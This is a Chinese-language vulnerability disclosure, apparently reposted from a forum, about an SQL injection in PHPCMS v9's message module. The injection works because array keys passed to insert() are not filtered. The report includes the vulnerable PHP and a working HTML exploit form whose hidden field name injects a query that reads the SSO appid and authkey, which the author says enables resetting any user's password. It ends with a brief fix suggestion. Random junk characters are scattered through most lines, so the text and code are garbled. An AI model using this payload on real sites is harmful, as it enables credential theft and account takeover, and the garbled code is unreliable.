|
|
简要描述:2 y- a6 c4 M9 ~0 b; R
, M5 M$ B7 D- `第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。( D# x+ [, j: q! t
; ]9 E* w7 |" i/ ]9 ?% t. J3 \: p明天再更新下一个漏洞。
0 r* N5 g+ B9 }详细说明:) x" i; L" I p
在/phpcms9/phpcms/modules/message/index.php中有代码如下:! D0 o' `& T% O6 x
" _; u$ @! i! j+ I
$messageid = $this->message_db->insert($_POST['info'],true);/ Y6 a# s& j9 z/ k& g( `
& ~3 s, ]# y! O9 q+ `3 N' M0 `# c3 ^' h' H* } i( e: s4 y: N
insert方法是key value的,代码如下:, @* e' G6 X+ [ ~" {# J: s
' |: c% ]8 U) }. Hpublic function insert($data, $table, $return_insert_id = false, $replace = false) {! Q6 E8 Y! L8 h% o6 o7 x
if(!is_array( $data ) || $table == '' || count($data) == 0) {* v, w5 \% b1 x8 h
return false;% U5 ~# j1 h0 Z+ ^6 u2 c1 Q( {# I5 {# @
}
- l3 s J; e5 a6 e' E% b
T7 g% J C/ u( I* m $fielddata = array_keys($data);
. f! l3 T% V2 f$ F* d% w $valuedata = array_values($data);" \$ o" s! P3 X- ^
array_walk($fielddata, array($this, 'add_special_char'));
0 w" C7 M5 F2 q3 X' z array_walk($valuedata, array($this, 'escape_string'));& d, k9 H2 q% `1 R' O
3 O+ E3 b9 W* h) e* v
$field = implode (',', $fielddata);
, i9 {3 A5 K5 m/ v6 u/ g+ ^ $value = implode (',', $valuedata);
. E7 x- S( ^ m# ? y1 |' I6 A7 f! w( D! j o5 _3 W+ y3 I
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';+ Z. |3 s5 j& U, y# h y! \ X# C7 i
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';( P0 m, }: @: x% k+ s: a* }6 g
$return = $this->execute($sql);
: ]" |# |( _$ M: k return $return_insert_id ? $this->insert_id() : $return;: t6 a1 ]; w& `' E
}% V. d# |* I) e) k# z5 g
2 i6 w& J) a, ~9 g2 F: ~8 \+ S6 N+ m) m6 O1 C9 O
嗯,很遗憾的是
, Y7 U& N2 I3 c; j% c3 a% D3 g( c3 j" E- f
array_walk($fielddata, array($this, 'add_special_char'));
+ }/ t: A' k% M6 h% Y
8 G. X5 I5 A1 ]+ O: L# r/ l4 b
/ a2 {, W. W. u9 Z9 h* @! A中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。3 f5 v/ W- S) t1 |
1 T) |# H( J. \; | Q到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
; U* ~( b% p E! h8 d
5 O! @5 x* L0 z$ f' X. P- w! c漏洞证明:
) F8 q( N! A" x读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。5 ?7 {7 r, b1 t
2 m, m: T9 m0 b7 b# g+ W
/ c7 G, C8 I2 @7 f2 F4 O4 s0 S0 z表单如下:用户名什么的得自己改一改。
; @7 j& t+ F( h<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
& I7 u( Y9 ?: y<table width="100%" cellspacing="0" class="table_form">
" X# N; c* Z. S: T4 S# m<tr>% y; e2 V' z. V: }( b# I' D3 J4 }3 ?; G
<th>标 题:</th>
8 c6 P' X+ j y0 y X5 C<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>0 b6 K; J$ M4 ?; P
</tr>
. e8 R! @$ R/ v8 e7 F5 F0 e9 G8 |* K<tr>
$ t, z0 c0 s( \9 }9 @8 F<th>内 容:</th>, e2 r- ?& e: F S# J0 b7 q
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>! {) [2 m9 ]; l
</tr>
) O' Y# J" F! ]/ H3 p: m/ `<input type="hidden" name="info[replyid]" value="2" /> ! ^& d" @. ?+ S) x6 r+ g
<input type="hidden" name="info[send_to_id]" value="cc" />
: F6 `, M% l8 H<input type="hidden" name="info[send_from_id]" value="hh">% V6 {8 O3 d: K* B+ M& O" t& p" F
<!-- 漏洞的利用重点在这里开始 -->1 V* L- o/ X4 |: i5 W4 I2 J
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
; M0 R# Z( A* N; {<!-- 漏洞的利用重点在这里结束 -->2 Y- F- i) V, _! I I
<tr>0 s) Q4 C4 M$ q6 P" L+ W* r5 v3 U
<th>验证码:</th>. c7 @& g8 A- ]2 l
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>' M" c: c$ ^& x: Z7 N
</tr>
& }, D' _6 w5 T; v/ W<tr>0 V, u# T) u0 D/ ?- c/ X! w
<td></td>
2 u, F( H ^' B6 [<td colspan="2"><label>
5 j0 [9 E; }3 l<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
! F% U" J. z6 T1 Q</label></td>
$ |8 t8 O! a0 Z" E4 I# t</tr>
( n- A, j# d6 e</table>3 y& X& E! B' a! S% e# l
</form>
: m8 a8 D/ {, L3 `" D在add_special_char函数内对key做过滤就可以了。
% v& p1 M' s; W" L- U$ Z
2 {$ C: W+ }" I+ I; }; ?
4 S8 Q- C& b K3 Q+ [, X: \% ], J+ F& B2 C
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|